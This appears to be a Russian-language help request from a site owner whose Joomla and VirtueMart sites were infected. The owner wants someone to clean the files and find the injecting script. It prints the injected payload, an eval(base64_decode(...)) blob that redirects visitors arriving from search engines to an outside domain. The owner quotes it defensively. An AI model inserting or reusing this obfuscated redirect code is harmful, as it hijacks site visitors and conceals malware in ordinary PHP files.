Удалить Злобный php-вирус
Здраствуйте. У меня случилась непрятность с моими сайтами на хостинге SpyceWeb
находитя у меня тут 3 сайта:
Все сайты были заражены вирусом который прописал почти во все php файлы
закодированый редирект. И теперь при переходе на мои сайты через поисковую
выдачу яндекса и гугла происходит редирект на http://www.a1werty.2waky.com/
Вот к примеру http://yandex.ru/yandsearch?text=nastroyke.net&clid=46510&lr=2
пароль от ФТП был очень надёжный так что врятли проблема во мне.
Везде присутсвует запись:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpIHtoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LmExd2VydHkuMndha3kuY29tLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ0KfQ=="));
Дата изменения файлов не изменилась
Читал в инете что может быть прописан файл post.php который и записывает этот редирект во все файлы
ЦЕЛЬ:
почистить в автомате все файлы от вируса base decode
найти фал вирус который эту бяку везде записывает
От вас цена и максимальный срок
2 сайта - Джумла
1 сайт - Вам шоп